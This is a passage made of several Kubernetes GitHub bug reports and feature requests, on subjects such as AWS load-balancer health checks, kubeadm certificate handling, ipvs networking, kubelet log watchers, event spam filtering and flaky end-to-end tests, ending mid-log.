is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r   what happened  :\r creating a service type of loadbalancer, with annontation  service.spec.externaltrafficpolicy  on aws, creates an broken elb that does not work.\r \r the elb does not work since all compute nodes are reported as unhealthy, as the health check is pointing to an non existing target  http:<port>/healthz \r \r   what you expected to happen  :\r creating a service type of loadbalancer, with annontation  service.spec.externaltrafficpolicy  on aws, creates an working elb that uses correct health check on the elb.\r \r on k8s v1.6.1  kubernetes v1.6.1+5115d708d7 + openshift v3.6.1+008f2d5  this worked with the annontation  service.beta.kubernetes.io/external-traffic   https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ feature-availability . health check on the elb was created with tcp:port, rather than http:port/healthz on v1.7. \r \r   how to reproduce it  as minimally and precisely as possible   :\r for k8s v1.7:\r $ kubectl run http --image=trinitronx/python-simplehttpserver --replicas=2\r $ kubectl expose deployment http --port=80 --target-port=8080 --name=http --type=loadbalancer\r \r  - at this point, all compute nodes are registered to the elb, and all report \ statusin:service\   example health check: tcp:30922 \r \r $ kubectl patch svc http -p '{\ spec\ :{\ externaltrafficpolicy\ :\ local\ }}'\r - at this point, all compute nodes, regardless if they run a backing pod or not,  reports \ status:outofservice\ .  example health check is now: http:30128/healthz \r \r important to note that the port is note the same for health check tcp and http.\r \r for k8s v1.6:\r $ kubectl run http --image=trinitronx/python-simplehttpserver --replicas=2\r $ kubectl expose deployment http --port=80 --target-port=8080 --name=http --type=loadbalancer\r \r  - at this point, all compute nodes are registered to the elb, and all report \ statusin:service\   example health check: tcp:31149 \r \r $ kubectl patch svc http -p '{\ metadata\ :{\ annotations\ :{\ service.beta.kubernetes.io/external-traffic\ :\ onlylocal\ }}}'\r - at this point, only compute nodes which run the active pods are reported status:inservice, other node reports \ status:outofservice\   health check still: tcp:31149 \r \r   anything else we need to know?  :\r on this configuration it works:\r openshift v3.6.1+008f2d5\r kubernetes v1.6.1+5115d708d7\r then using  service.beta.kubernetes.io/external-traffic  \r \r on this configuration it does not work:\r openshift v3.7.0+7ed6862\r kubernetes v1.7.6+a08f5eeb62\r then using  service.spec.externaltrafficpolicy \r \r on v1.6.1, compute nodes that didn't have a pod backing the service created would drop tcp connections directed to the hosts nodeport. effectively this ensured that only compute nodes with active pods for that service would get assigned traffic from the elb.\r \r on v1.7, it seems that either;\r 1  k8s should create the target http:<port>/healthz on compute nodes with active pods for that service\r or\r 2  k8s creates a load balancer with incorrect health check\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r openshift v3.6.1+008f2d5\r kubernetes v1.6.1+5115d708d7\r and\r openshift v3.7.0+7ed6862\r kubernetes v1.7.6+a08f5eeb62\r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r \r centos\r \r - kernel  e.g.  uname -a  :\r \r linux ip-10-20-1-58.eu-central-1.compute.internal 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r https://github.com/openshift/openshift-ansible\r \r - others:\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r scheduler as of now, uses json while communicating with  extender. it would be better if we can use protobuf. this is needed if we want to use extender for usage based scheduling.\r \r cc @aveshagarwal \r \r   

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r when one node crashes, the pods running on the node will restart at surviving node.\r \r while the pods are in rescheduling process, the pods using feature \ local volume scheduling\  will raise \ errvolumenodeconflict\  and rescheduling failed.\r \r   what you expected to happen  :\r when one pod failed because of node crashing, we could image workflow as fellow:\r   nodelifecyclecontroller evicts the pod after podevictiontimeout seconds,\r   and then, statefulsetcontroller re-create the pod to meet spec.relplicas requirements,\r   and then, scheduler start to re-scheduling the pod,\r   finally, new predicate _volumebindingchecker_ find that it's all bounded pvcs has node affinity conflict and\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r code as follow:\r \r    \r func  c  volumebindingchecker  predicate pod  v1.pod, meta algorithm.predicatemetadata, nodeinfo  schedulercache.nodeinfo   bool,   algorithm.predicatefailurereason, error  {\r \r \tif !utilfeature.defaultfeaturegate.enabled features.volumescheduling  {\r \t\treturn true, nil, nil\r \t}\r \r \tnode := nodeinfo.node  \r \tif node == nil {\r \t\treturn false, nil, fmt.errorf \ node not found\  \r \t}\r \r \tunboundsatisfied, boundsatisfied, err := c.binder.binder.findpodvolumes pod, node.name \r \tif err != nil {\r \t\treturn false, nil, err\r \t}\r \r \tfailreasons :=   algorithm.predicatefailurereason{}\r \tif !boundsatisfied {\r \t\tglog.v 5 .infof \ bound pvs not satisfied for pod %v/%v, node %q\ , pod.namespace, pod.name, node.name \r \t\tfailreasons = append failreasons, errvolumenodeconflict \r \t}\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.9.3\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r > kind bug\r >  \r \r   what happened  :\r \r   what you expected to happen  :\r i have installed kubernetes, and docker, removed swap , disabled firewall, then i build up the kubernetes master using kubeadm init --pod-network-cidr 10.10.10.0/16\r  kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r \r  kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/k8s-manifests/kube-flannel-rbac.yml\r then added node system sudo kubeadm join --token a2d.. etc\r currently showing server and node correctly using kubectl get nodes\r but the same i getting error kube-dns   crashloopbackoff  - kubectl get pods --all-namespaces, i have chked the syslog , i got below error message \r    \ jun 12 12:46:57 server kubelet 17532 : w0612 12:46:57.349698   17532 cni.go:171  unable to update cni config: no valid networks found in /etc/cni/net.d\r jun 12 12:47:02 server kubelet 17532 : w0612 12:47:02.352133   17532 cni.go:113  error loading cni config list file /etc/cni/net.d/10-flannel.conflist: error parsing configuration list: no 'plugins' key\ \r   \r \r   how to reproduce it  as minimally and precisely as possible   :\r i have installed kubernetes, and docker, removed swap , disabled firewall, then i build up the server\r kubeadm init --pod-network-cidr 10.10.10.0/16\r  kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r \r  kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/k8s-manifests/kube-flannel-rbac.yml\r then added node system sudo kubeadm join --token a2d.. etc\r currently showing server and node correctly using kubectl get nodes\r but the same i getting error kube-dns   crashloopbackoff  - kubectl get pods --all-namespaces, i have chked the syslog , i got below error message \r    \ jun 12 12:46:57 server kubelet 17532 : w0612 12:46:57.349698   17532 cni.go:171  unable to update cni config: no valid networks found in /etc/cni/net.d\r jun 12 12:47:02 server kubelet 17532 : w0612 12:47:02.352133   17532 cni.go:113  error loading cni config list file /etc/cni/net.d/10-flannel.conflist: error parsing configuration list: no 'plugins' key\ \r   \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.10.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\ ubuntu 16.04.3 lts\ \r - kernel  e.g.  uname -a  :linux server 4.13.0-43-generic  48~16.04.1-ubuntu smp thu may 17 12:56:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubernetes , docker only\r - others:nothing\r @kubernetes/sig-testing-misc

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  /etc/kubernetes/pki/ca.key  exists and is in ecdsa format:\r \r    bash\r kubeadm alpha phase certs apiserver\r failure loading ca certificate authority: the private key file /etc/kubernetes/pki/ca.key isn't in rsa format\r    \r \r   what you expected to happen  :\r \r   certificates  generated <key>. \r \r   anything else we need to know?  :\r \r  this  https://github.com/kubernetes/kubernetes/blob/v1.11.0/cmd/kubeadm/app/phases/certs/pkiutil/pki_helpers.go l199-l206  seems to be the culprit.\r \r   environment  :\r - kubernetes version:  version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-dirty\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ dirty\ , builddate:\ 2018-07-12t20:19:30z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: qemu vm\r - os: fedora atomic host 28\r - kernel: 4.17.2-200.fc28.x86_64\r - install tools: kubeadm

which jobs are failing  :\r \r    sig-release-1.14-all/gke-cos-1.14-reboot  https://testgrid.k8s.io/sig-release-1.14-all gce-cos-1.14-reboot \r \r   which test s  are failing  :\r \r    sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart\r    sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart\r    sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards\r    sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards\r    sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on\r    sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart \r \r \r   since when has it been failing  :\r it's been flaking but now failing as of 2019/03/01 @ 4:37\r \r   testgrid link  :\r    https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-reboot/9232\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/reboot.go:124\r mar  1 16:46:07.381: test failed; at least one node failed to reboot in the time given.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/reboot.go:168\r    \r \r   anything else we need to know  :\r \r  /  /milestone v1.14

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i am using kubernetes in my project to deploy and access my multiple backend api components. i installed it with kubeadm and kubectl. i have one master  192.168.101.7  and two nodes  192.168.101.4, 192.168.101.6 . everything is working fine with the default proxy mode of kube-proxy : iptables. i have deployed nginx-ingress and my api. the service for nginx-ingress is of type externalips  with 192.168.101.7  so i can access my api through a specific address : 192.168.101.7/api/  where path is specific for each differents api component  and it is working. i am using flannel for the networking.\r \r i wanted to set the kube-proxy mode to ipvs in order to have a real load balancing algorithm : round robin.  because iptables is using random and needs liveness/probeness to check if pods are alive \r \r i correctly enabled all the kernel mods and \ ipvsadm\  is working fine. everything works fine when i use service of type nodeport : i can access my pods with a correct load balancing.  and ipvsadm is showing correctly the rules \r \r but when i try to deploy a service with externalips  nginx-ingress or my backend components  my nodes get disconnected from the master and i have a odd problem : from the nodes when i try to access the master it returns back to itself. that is when i do \ ssh 192.168.101.7\  from 192.168.101.4 and correctly login i arrive on 192.168.101.4  itself  instead of 192.168.101.7. there seems to have a loopback to itself on each node after the deployment of the service with externalips.\r \r i thought maybe it was caused by flannel so i tried with weaveworks but it does the same.\r \r the final result is that my nodes are disconnected from the master and i can't access my service anymore.\r \r   what you expected to happen  :\r i expected my nodes not being redirected to themselves.\r and i expected to access my service from the externalip of the master with the load balancing specified in ipvs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apiversion: kubeadm.k8s.io/v1beta1\r kind: initconfiguration\r localapiendpoint:\r         advertiseaddress: 192.168.101.7\r ---\r apiversion: kubeadm.k8s.io/v1beta1\r kind: clusterconfiguration\r networking:\r         podsubnet: 10.244.10.0/16\r         servicesubnet: 10.96.0.0/12\r ---\r apiversion: kubeproxy.config.k8s.io/v1alpha1\r kind: kubeproxyconfiguration\r featuregates:\r         supportipvsproxymode: true\r mode: ipvs\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.3\r - os  e.g:  cat /etc/os-release  : debian 9\r

i've seen a variety of bugs stemming from the use of strings as types in internal api's where more specialized types could have been more appropriate, and enabled our compiler rather than our users to pick up programming errors.  https://github.com/googlecloudplatform/kubernetes/pull/10699 is one particular example, where node names and host names got confused, as they are both passed around as strings.  i have seen several other similar bugs which were picked up at much greater expense by users than if our compiler had simply errored.  name vs namespacedname is another recurring theme.  internalname vs externalname.  the list goes on.  lets create more specilized types for these and plumb them throughout the system.  more specific sub-issues still tbd - creating this placeholder in the mean time so that it gets done.

pods are crashing as reported by:      $ kubectl get po    name                  ready     status             restarts   age elasticsearch-attiy   0/1       crashloopbackoff   25         1h elasticsearch-lkl4i   0/1       crashloopbackoff   25         1h frontend-81lqv        1/1       running            0          1h frontend-ddanc        1/1       running            0          1h      but the message isn't clear when trying to exec:      $ kubectl exec -it elasticsearch-attiy sh  error: error executing remote command: error executing command in container: container not found  \ elasticsearch\        and the describe gives an even more confusion \ 2/2 replicas created\  and it did find the image:      $ kubectl describe po elastic search-attiy name:                           elasticsearch-attiy namespace:                      default image s :                       eu.gcr.io/foo/foo_elasticsearch:latest node:                           gke-small-cluster-7834f89-node-wke5/10.210.0.1 labels:                         name=elasticsearch status:                         running reason: message: ip:                             10.180.1.11 replication controllers:        elasticsearch  2/2 replicas created  containers:   elasticsearch:     image:              eu.gcr.io/foo/foo_elasticsearch:latest     state:              waiting       reason:           crashloopbackoff     ready:              false     restart count:      26 conditions:   type          status   ready         false  events:   firstseen                             lastseen                        count   from                                 s ...   wed, 18 nov 2015 21:24:42 +0100       wed, 18 nov 2015 23:09:03 +0100 26      {kubelet gke-small-cluster-7834f89-node-wke5}        spec.containers{elasticsearch}  pulled  successfully pulled image \ eu.gcr.io/foo/foo_elasticsearch:latest\    wed, 18 nov 2015 23:09:03 +0100       wed, 18 nov 2015 23:09:03 +0100 1       {kubelet gke-small-cluster-7834f89-node-wke5}        spec.containers{elasticsearch}  created created with docker id a7429f37f133   wed, 18 nov 2015 23:09:04 +0100       wed, 18 nov 2015 23:09:04 +0100 1       {kubelet gke-small-cluster-7834f89-node-wke5}        spec.containers{elasticsearch}  started started with docker id a7429f37f133      it would help to have clearer messages to help understand causes of crashes.  the  exec  command could say that the given container isn't running properly on the pod  with a status or a command that could describe more in details the reasons .  the  describe  command here could clarify that replicas have been created but aren't healthy. more importantly i found missing the reason of why the container got restarted. i do suspect that my  command  statement is the cause.

i have a kubernetes deployment, to which i want to add a couple of new parameters. some of them were successfully added, but one of them is simply ignored - once you do  apply  again, you see the same diff  and it's missing from the deployment if you view it via  edit deployment  . the new property is:      ...  lines skipped  @@ -66,6 +39,8 @@            limits:              memory: 512mi          volumemounts: +        - mountpath: /databricks/common/conf/vault-database +          name: vault-database          - mountpath: /databricks/secrets/vault-cert            name: vault-cert          - mountpath: /databricks/logs @@ -151,6 +126,9 @@          name: log-daemon-work        - emptydir: {}          name: logs +      - name: vault-database +        secret: +          secretname: vault-database        - name: vault-cert          secret:            secretname: vault-cert      the weirdest part is that we were able to fix this by rearranging the order of these properties.  i realize that this is very vague, although i'm not sure what other info i can provide. there wasn't anything interesting in  get events  - it looks like that property was just getting silently eaten.

when kubelet starts and tries to connect to rkt api service. i saw the following error messages printed by rkt api service:      api-service: api service running on localhost:15441... 2016/05/05 12:11:24 grpc: server.serve failed to create servertransport:  connection error: desc = \ transport: write tcp 127.0.0.1:15441->127.0.0.1:39655: write: broken pipe\       but it doesn't seem to affect the rktnetes's functionality.  cc @euank @sjpotter

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/2022/  failed:  k8s.io  emptydir volumes should support  root,0644,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 nov  3 11:02:32.370: couldn't delete ns: \ e2e-tests-emptydir-cfnbp\ : an error on the server  \ internal server error: \\\ /apis/batch/v1/namespaces/e2e-tests-emptydir-cfnbp/jobs\\\ \   has prevented the request from succeeding  get jobs.batch   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /apis/batch/v1/namespaces/e2e-tests-emptydir-cfnbp/jobs\\\\\\\ \\\   has prevented the request from succeeding  get jobs.batch \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820988dc0 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

https://github.com/kubernetes/kubernetes/pull/40567 disabled them since  kubectl delete secrets  was flaky.\r \r we need to find and fix the issue and then reenable these tests.\r \r cc @kubernetes/sig-federation-bugs \r \r related issues:  39984 and  39985

i've created a influx-grafana pod and service point to it. but can not access influxdb api in the pod using  curl http://monitoring-influxdb:8086/ ,  curl  command ends with a timeout.\r \r according to https://kubernetes.io/docs/user-guide/debugging-services/ a-pod-cannot-reach-itself-via-service-ip , kubelet is using  hairpin-veth  mode. and the kubelet log says:\r \r    \r w0301 14:02:32.078029   13272 kubelet_network.go:69  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0301 14:02:32.078064   13272 kubelet.go:478  hairpin mode set to \ hairpin-veth\ \r ....\r w0301 14:07:59.923866   13272 docker_manager.go:2199  hairpin setup failed for pod \ influxdb-grafana-gbjl1_kube-system ccfb3824-fe44-11e6-861f-6c92bf04de02 \ : exec: \ nsenter\ : executable file not found in $path\r    \r \r seems the  nsenter  command is required under  hairpin-veth  mode, should this be checked when kubelet is starting, so this won't happen again.\r \r ------------\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal with gpu cards\r -   os   centos 6.3 \r -   kernel   3.10.0_2-0-0-0  1 smp tue sep 20 17:18:54 cst 2016 x86_64 x86_64 x86_64 gnu/linux\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r securitycontextdeny admission controller only admit part of  securitycontext options  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/securitycontext/scdeny/admission.go l52 . others such as  runasnonroot  and  readonlyrootfilesystem  are not respected.\r \r   what you expected to happen  :\r it should admit all options.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r am i missing something?\r \r @pweil- @php-coder

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r >  \r this is to report a issue faced when i tried to download and set up kubernetes cluster\r \r   what happened  :\r \r facing the below error when i clone kubernetes into my linux box\r \r \tbash-4.2$ git clone https://github.com/kubernetes/kubernetes\r \tcloning into 'kubernetes'...\r \tgit-remote-https: error while loading shared libraries: libcurl.so.3: cannot open shared object file: no such file or directory\r \r   what you expected to happen  :\r \r note that a higher version of libcurl.so is available in the machine, which is not being used during clone\r \r \tbash-4.2$ cd /usr/lib64\r \tbash-4.2$ ls libcurl \r \tlibcurl.so.4  libcurl.so.4.3.0\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r executing the \ git clone https://github.com/kubernetes/kubernetes\  command should do\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:19:49z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r linux.x64 oel7.2 vm box\r \r - os  e.g. from /etc/os-release :\r name=\ oracle linux server\ \r version=\ 7.2\ \r id=\ ol\ \r version_id=\ 7.2\ \r \r - kernel  e.g.  uname -a  :\r linux den00iqo.us.oracle.com 4.1.12-32.2.3.el7uek.x86_64  2 smp fri mar 25 18:20:55 pdt 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i created a cronjob with an init container. this works correctly. i then updated that cronjob  with  kubectl apply   to no longer have an init container. this doesn't work -- after updating the cronjob, the init container is still there.  also, there are no error messages \r \r strangely,   updating   the init container works correctly, but   removing   the init container does not work.\r \r  i'm planning to work on fixing this, but wanted to report an issue first in case anyone has any thoughts \r \r   what you expected to happen  :\r \r i expected the init container to be removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i created a gist with a script that reproduces this issue at https://gist.github.com/julia-stripe/8b9ad694c9f0208828493f012582c863. here's how to run the script:\r \r    \r minikube start\r git clone https://gist.github.com/8b9ad694c9f0208828493f012582c863.git cronjob-init-containers\r cd cronjob-init-containers\r bash run.sh\r    \r \r here's the relevant output:\r \r    \r ======= create cronjob with init container\r cronjob \ minikube-test-job\  created\r list of init containers:  correct \r  \r   {\r     \ command\ :  \r       \ /bin/sh\ ,\r       \ -c\ ,\r       \ ls\ \r      ,\r     \ image\ : \ gcr.io/google_containers/debian-iptables-amd64:v5\ ,\r     \ imagepullpolicy\ : \ ifnotpresent\ ,\r     \ name\ : \ init-myservice\ ,\r     \ resources\ : {},\r     \ terminationmessagepath\ : \ /dev/termination-log\ ,\r     \ terminationmessagepolicy\ : \ file\ \r   }\r  \r ======= apply cronjob with no init container\r cronjob \ minikube-test-job\  configured\r list of init containers:  incorrect, should be empty \r  \r   {\r     \ command\ :  \r       \ /bin/sh\ ,\r       \ -c\ ,\r       \ ls\ \r      ,\r     \ image\ : \ gcr.io/google_containers/debian-iptables-amd64:v5\ ,\r     \ imagepullpolicy\ : \ ifnotpresent\ ,\r     \ name\ : \ init-myservice\ ,\r     \ resources\ : {},\r     \ terminationmessagepath\ : \ /dev/termination-log\ ,\r     \ terminationmessagepolicy\ : \ file\ \r   }\r  \r    \r \r   anything else we need to know?  :\r \r a few more notes:\r \r   modifying the init containers on a cron job also doesn't work\r   modifying the init containers on a cron job   does   work if you use the legacy  pod.beta.kubernetes.io/init-containers  annotations, but deleting them still doesn't\r \r i noticed that modifying or deleting the init container on a job also doesn't work  see  this output  https://gist.github.com/julia-stripe/8b9ad694c9f0208828493f012582c863 file-run_output-txt   for what happens. \r \r i'd expect modifying/deleting the init containers on a job object to give a validation error, but instead it just silently fails. overall everything related to changing init containers on jobs / cronjobs seems to not work well.\r \r   environment  :\r \r - kubernetes version: 1.7.0\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r if a container log is followed using kubectl or other api client, when the client disconnects, the process watching for changes in the logs does not die.\r \r the process only dies when a new log line is received from the container  which may not happen  and the log process tries to send it to the client and then fails.  furthermore, a inotify watch is also left open, which can potentially cause the os to run out of watches and eventually results in  failed to create fsnotify watcher: too many open files  when the next container log is followed.\r \r   what you expected to happen  :\r when the client disconnects, the process watching the logs should die within a short time, and the inotify watch should be closed.\r \r   anything else we need to know?  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is simplest to reproduce using a single node instance of k8s e.g. minikube\r steps:\r \r 1. create a pod that does not constantly produce log output e.g.\r    \r kubectl run log-test --image ubuntu:xenial --command sh -- -c 'date; sleep infinity'\r    \r 2. with  kubectl  watch the pod logs  for the pod just created  and leave running:\r    \r kubectl logs log-test-78ddcd7d6f-7p7hr  -f\r    \r 3. on the node that has the pod check the number of inotify watches from kubelet\r    \r  sudo lsof -p  pidof kubelet   2> /dev/null | grep inotify | wc -l\r    \r 4. press ctrl-c to kill the  kubectl  watch started in  2 \r 5. check the number of inotify watchers again by repeating  3 .  the number has not decreased, and will never decrease until either the kubelet is restarted, a log line is received from the pod or the pod terminates.\r \r   anything else we need to know?  :\r i believe the problem lies in how the  readlogs  function works here:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/logs/logs.go l269\r unfortunately this has no way of knowing if the client has disconnected until it tries to send a new log line via the  writer , which will then fail, close the inotify watcher  via the  defer   and exit.\r \r a container producing no log output will therefore leave the process running.\r \r   environment  :\r - kubernetes version: both 1.9.7 and 1.10.3\r - cloud provider or hardware configuration: vmware\r - os  e.g. from /etc/os-release : ubuntu xenial\r - kernel  e.g.  uname -a  : 4.4.0-122-generic\r

is this a bug report or feature request?  :\r >  \r \r   what happened  :\r after a pod scheduled to a node, events such as\r \r - container image \  busybox:1.0 \  already present on machine\r - created container\r - started container\r may be dropped accidently by kubelet  eventsourceobjectspamfilter \r \r \r   what you expected to happen  :\r these events don't get dropped\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a cluster  1 master and 3 nodes in my test  , and make sure there isn't docker image “ busybox:1.0 ” in each node.\r 2. create a deployment with image pull policy \  never \ , replica 1 is enough.  scheduler will schedule 1 pod to a node   let's assume node1   and try to start container using image  busybox:1.0 \r 3. pod is at status  errimageneverpull  or \ containercreating\  because  busybox:1.0  doesn't exist, you can confirm by running  kubectl get pod -o wide , hold about 5 minutes and just wait  errimageneverpull  events consuming tokens in eventsourceobjectspamfilter\r 4. now docker load  busybox:1.0  on node1 , then pod status will get changed to \ running\ \r 5. run  kubectl get event , now we can see the 3 events mentioned above is not there, they are dropped by eventsourceobjectspamfilter\r \r note: if i run step 4 fast enough, these 3 events will not get dropped.\r   my understanding  : this is because, for example, event  container image \\\ busybox:1.0\\\  is not present with pull policy of never  is sent to kubelet eventsourceobjectspamfilter about every 12 secs before step 4, but eventsourceobjectspamfilter with 25 burst events  refill only 1 event every 5 minutes. so if we wait long enough,  event  container image \\\ busybox:1.0\\\  is not present with pull policy of never  will exhaust all tokens in spam filter, and then after finishing step 4, when event  container image \  busybox:1.0 \  already present on machine  gets passed to spam filter and is rejected\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  i test with kubernetes 1.10.6, but i believe the same thing exists on master branch.\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7\r - install tools: our customized deploy toll\r - others:\r

this started after https://github.com/kubernetes/kubernetes/pull/68077 was merged. @directxman12 \r \r the hpa test started being very flaky since then: https://k8s-testgrid.appspot.com/google-gce gci-gce&width=5\r \r the hpa test in containerd e2e become even more flaky since then with the same failure pattern: https://k8s-testgrid.appspot.com/sig-node-containerd containerd-e2e-gci&width=5

ci tests for windows in gce: https://testgrid.k8s.io/google-windows windows-prototype\r the tests use the repo-list: https://raw.githubusercontent.com/e2e-win/e2e-win-prow-deployment/master/repo-list.txt\r \r quite a few kubectl and deployment tests consistently fail because  /bin/bash run.sh cannot be found in the windows redis test image.\r    \r nov  9 16:53:18.651: info: at 2018-11-09 16:48:18 +0000 utc - event for redis-master: {replication-controller } successfulcreate: created pod: redis-master-5mw24\r nov  9 16:53:18.651: info: at 2018-11-09 16:48:18 +0000 utc - event for redis-master-5mw24: {default-scheduler } scheduled: successfully assigned e2e-tests-kubectl-vz2wk/redis-master-5mw24 to e2e-86-be9ce-minion-windows-group-mvxb\r nov  9 16:53:18.651: info: at 2018-11-09 16:50:48 +0000 utc - event for redis-master-5mw24: {kubelet e2e-86-be9ce-minion-windows-group-mvxb} pulling: pulling image \ e2eteam/redis:1.0\ \r nov  9 16:53:18.651: info: at 2018-11-09 16:51:48 +0000 utc - event for redis-master-5mw24: {kubelet e2e-86-be9ce-minion-windows-group-mvxb} pulled: successfully pulled image \ e2eteam/redis:1.0\ \r nov  9 16:53:18.651: info: at 2018-11-09 16:51:57 +0000 utc - event for redis-master-5mw24: {kubelet e2e-86-be9ce-minion-windows-group-mvxb} created: created container\r nov  9 16:53:18.651: info: at 2018-11-09 16:52:34 +0000 utc - event for redis-master-5mw24: {kubelet 